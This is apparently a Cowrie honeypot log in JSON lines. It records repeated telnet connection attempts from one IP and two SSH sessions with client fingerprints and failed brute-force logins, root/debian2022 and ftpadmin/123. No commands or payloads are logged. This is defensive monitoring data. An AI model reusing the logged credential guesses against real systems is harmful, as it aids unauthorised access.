{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60924,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0ff14729cbe","protocol":"telnet","message":"New connection: 69.6.196.124:60924 (159.203.135.109:23) [session: b0ff14729cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:40.624870Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38800,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e51d54cee6d","protocol":"telnet","message":"New connection: 69.6.196.124:38800 (159.203.135.109:23) [session: 3e51d54cee6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:40.640563Z"}
{"eventid":"cowrie.session.closed","duration":31.0953950881958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:40.696349Z","src_ip":"69.6.196.124","session":"bf2ede446e77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707380533218384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:40.805127Z","src_ip":"69.6.196.124","session":"aa53412201f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746684551239014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:41.278129Z","src_ip":"69.6.196.124","session":"1448b2841027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.564333200454712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:41.400737Z","src_ip":"69.6.196.124","session":"a0e6e8d4d9d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38810,"dst_ip":"159.203.135.109","dst_port":23,"session":"3080e4988e79","protocol":"telnet","message":"New connection: 69.6.196.124:38810 (159.203.135.109:23) [session: 3080e4988e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:41.563637Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60912,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f92d620fa35","protocol":"telnet","message":"New connection: 69.6.196.124:60912 (159.203.135.109:23) [session: 3f92d620fa35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:41.737811Z"}
{"eventid":"cowrie.session.closed","duration":30.12025260925293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:43.282406Z","src_ip":"69.6.196.124","session":"fd8e385a6641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.319441556930542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:43.295838Z","src_ip":"69.6.196.124","session":"5ebb14b0afe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38820,"dst_ip":"159.203.135.109","dst_port":23,"session":"af12163501dc","protocol":"telnet","message":"New connection: 69.6.196.124:38820 (159.203.135.109:23) [session: af12163501dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:43.755150Z"}
{"eventid":"cowrie.session.closed","duration":31.537455081939697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:43.986741Z","src_ip":"69.6.196.124","session":"dd32f5d2d96a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495757579803467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:44.434148Z","src_ip":"69.6.196.124","session":"eecaac3039ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96965742111206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:45.554371Z","src_ip":"69.6.196.124","session":"e47422aef912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":49470,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f031120eb66","protocol":"ssh","message":"New connection: 41.63.62.103:49470 (10.17.0.5:22) [session: 3f031120eb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:45.697229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:45.702341Z","src_ip":"41.63.62.103","session":"3f031120eb66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:45.976179Z","src_ip":"41.63.62.103","session":"3f031120eb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38826,"dst_ip":"159.203.135.109","dst_port":23,"session":"8888a3ee9d6a","protocol":"telnet","message":"New connection: 69.6.196.124:38826 (159.203.135.109:23) [session: 8888a3ee9d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:46.000795Z"}
{"eventid":"cowrie.session.closed","duration":32.32485055923462,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:46.695540Z","src_ip":"69.6.196.124","session":"88fdb1aab2ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38852,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ccd99c0bd13","protocol":"telnet","message":"New connection: 69.6.196.124:38852 (159.203.135.109:23) [session: 8ccd99c0bd13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:46.919555Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian2022","message":"login attempt [root/debian2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:47.104828Z","src_ip":"41.63.62.103","session":"3f031120eb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38866,"dst_ip":"159.203.135.109","dst_port":23,"session":"394060da1195","protocol":"telnet","message":"New connection: 69.6.196.124:38866 (159.203.135.109:23) [session: 394060da1195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:47.394396Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38836,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e4a5263925","protocol":"telnet","message":"New connection: 69.6.196.124:38836 (159.203.135.109:23) [session: e0e4a5263925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:47.818173Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:48.380732Z","src_ip":"41.63.62.103","session":"3f031120eb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38870,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6f80b6e5592","protocol":"telnet","message":"New connection: 69.6.196.124:38870 (159.203.135.109:23) [session: b6f80b6e5592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:49.149204Z"}
{"eventid":"cowrie.session.closed","duration":30.11864924430847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:49.294932Z","src_ip":"69.6.196.124","session":"021d15b6df6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00115323066711,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:49.487017Z","src_ip":"185.53.58.141","session":"fd4e9ad932aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43460,"dst_ip":"159.203.135.109","dst_port":23,"session":"29adf492d544","protocol":"telnet","message":"New connection: 69.6.196.124:43460 (159.203.135.109:23) [session: 29adf492d544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:49.920304Z"}
{"eventid":"cowrie.session.closed","duration":30.6982102394104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:50.572622Z","src_ip":"69.6.196.124","session":"f2ceea33b57b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.419198513031006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:50.686879Z","src_ip":"69.6.196.124","session":"2b2c74da441c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43470,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e1dce8de60d","protocol":"telnet","message":"New connection: 69.6.196.124:43470 (159.203.135.109:23) [session: 6e1dce8de60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:51.335982Z"}
{"eventid":"cowrie.session.closed","duration":31.295135498046875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:51.780372Z","src_ip":"69.6.196.124","session":"933cd3506c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43468,"dst_ip":"159.203.135.109","dst_port":23,"session":"89b3bca67c5e","protocol":"telnet","message":"New connection: 69.6.196.124:43468 (159.203.135.109:23) [session: 89b3bca67c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:52.074719Z"}
{"eventid":"cowrie.session.closed","duration":31.675787210464478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:52.651356Z","src_ip":"69.6.196.124","session":"157a27c1dd89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12956929206848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:52.800581Z","src_ip":"69.6.196.124","session":"e3a9944d1a3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037633895874023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:53.645776Z","src_ip":"69.6.196.124","session":"630edaa0c43f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226879119873047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:54.063221Z","src_ip":"69.6.196.124","session":"5920ce58892c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32509732246399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:55.666090Z","src_ip":"69.6.196.124","session":"570bf570f1d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43472,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b17dca6d15e","protocol":"telnet","message":"New connection: 69.6.196.124:43472 (159.203.135.109:23) [session: 8b17dca6d15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:56.083352Z"}
{"eventid":"cowrie.session.closed","duration":30.651245594024658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:57.400193Z","src_ip":"69.6.196.124","session":"f306bff0a8d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812352657318115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:58.667614Z","src_ip":"69.6.196.124","session":"f638e93e543b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":47246,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e7beb4f431","protocol":"telnet","message":"New connection: 69.6.196.124:47246 (159.203.135.109:23) [session: e6e7beb4f431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:00.851010Z"}
{"eventid":"cowrie.session.closed","duration":30.559355974197388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:01.386672Z","src_ip":"69.6.196.124","session":"a51e2aa90c83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.498730182647705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:03.227054Z","src_ip":"69.6.196.124","session":"5ed2742d5a39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331966638565063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:03.714753Z","src_ip":"69.6.196.124","session":"98461baa2ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":47252,"dst_ip":"159.203.135.109","dst_port":23,"session":"219c958309b9","protocol":"telnet","message":"New connection: 69.6.196.124:47252 (159.203.135.109:23) [session: 219c958309b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:04.011534Z"}
{"eventid":"cowrie.session.closed","duration":30.379509925842285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:04.277152Z","src_ip":"69.6.196.124","session":"71b4302796e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49740219116211,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:04.815453Z","src_ip":"69.6.196.124","session":"e5debf3b5847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":47268,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3990bd025ec","protocol":"telnet","message":"New connection: 69.6.196.124:47268 (159.203.135.109:23) [session: f3990bd025ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:05.020945Z"}
{"eventid":"cowrie.session.closed","duration":31.24192762374878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:05.606345Z","src_ip":"69.6.196.124","session":"759148ee976e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":47274,"dst_ip":"159.203.135.109","dst_port":23,"session":"608d6d25d9a6","protocol":"telnet","message":"New connection: 69.6.196.124:47274 (159.203.135.109:23) [session: 608d6d25d9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:06.020414Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":47258,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea534796f2b","protocol":"telnet","message":"New connection: 69.6.196.124:47258 (159.203.135.109:23) [session: aea534796f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:06.350596Z"}
{"eventid":"cowrie.session.closed","duration":31.078538179397583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:08.773353Z","src_ip":"69.6.196.124","session":"fc3b98db4713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":47290,"dst_ip":"159.203.135.109","dst_port":23,"session":"54dac9a44754","protocol":"telnet","message":"New connection: 69.6.196.124:47290 (159.203.135.109:23) [session: 54dac9a44754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:09.169888Z"}
{"eventid":"cowrie.session.closed","duration":30.261669635772705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:09.285967Z","src_ip":"69.6.196.124","session":"4a236482f4f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46874,"dst_ip":"159.203.135.109","dst_port":23,"session":"efdab2f2812d","protocol":"telnet","message":"New connection: 69.6.196.124:46874 (159.203.135.109:23) [session: efdab2f2812d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:09.729334Z"}
{"eventid":"cowrie.session.closed","duration":31.24431276321411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:10.200799Z","src_ip":"69.6.196.124","session":"1712e39b6859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":38786,"dst_ip":"10.17.0.5","dst_port":22,"session":"55b050806e77","protocol":"ssh","message":"New connection: 112.217.199.222:38786 (10.17.0.5:22) [session: 55b050806e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:10.331357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:10.339868Z","src_ip":"112.217.199.222","session":"55b050806e77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:10.547796Z","src_ip":"112.217.199.222","session":"55b050806e77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.76434588432312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:11.278242Z","src_ip":"69.6.196.124","session":"6f649e3d7d4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46886,"dst_ip":"159.203.135.109","dst_port":23,"session":"f314c34ec56d","protocol":"telnet","message":"New connection: 69.6.196.124:46886 (159.203.135.109:23) [session: f314c34ec56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:11.290042Z"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"123","message":"login attempt [ftpadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:11.410481Z","src_ip":"112.217.199.222","session":"55b050806e77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.05484914779663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:11.470718Z","src_ip":"69.6.196.124","session":"b2d6f5cdf287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.132673501968384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:11.757417Z","src_ip":"69.6.196.124","session":"b0ff14729cbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25969958305359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:11.899846Z","src_ip":"69.6.196.124","session":"3e51d54cee6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98196315765381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:12.545514Z","src_ip":"69.6.196.124","session":"3080e4988e79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:12.621145Z","src_ip":"112.217.199.222","session":"55b050806e77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46892,"dst_ip":"159.203.135.109","dst_port":23,"session":"95b59b5c8cc0","protocol":"telnet","message":"New connection: 69.6.196.124:46892 (159.203.135.109:23) [session: 95b59b5c8cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:12.776011Z"}
{"eventid":"cowrie.session.closed","duration":31.241706371307373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:12.979400Z","src_ip":"69.6.196.124","session":"3f92d620fa35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46908,"dst_ip":"159.203.135.109","dst_port":23,"session":"19129b3fff37","protocol":"telnet","message":"New connection: 69.6.196.124:46908 (159.203.135.109:23) [session: 19129b3fff37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:14.546440Z"}
{"eventid":"cowrie.session.closed","duration":31.435986280441284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:15.191017Z","src_ip":"69.6.196.124","session":"af12163501dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46922,"dst_ip":"159.203.135.109","dst_port":23,"session":"258d2549191c","protocol":"telnet","message":"New connection: 69.6.196.124:46922 (159.203.135.109:23) [session: 258d2549191c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:15.547527Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46932,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e8eb0dfdff5","protocol":"telnet","message":"New connection: 69.6.196.124:46932 (159.203.135.109:23) [session: 1e8eb0dfdff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:15.873218Z"}
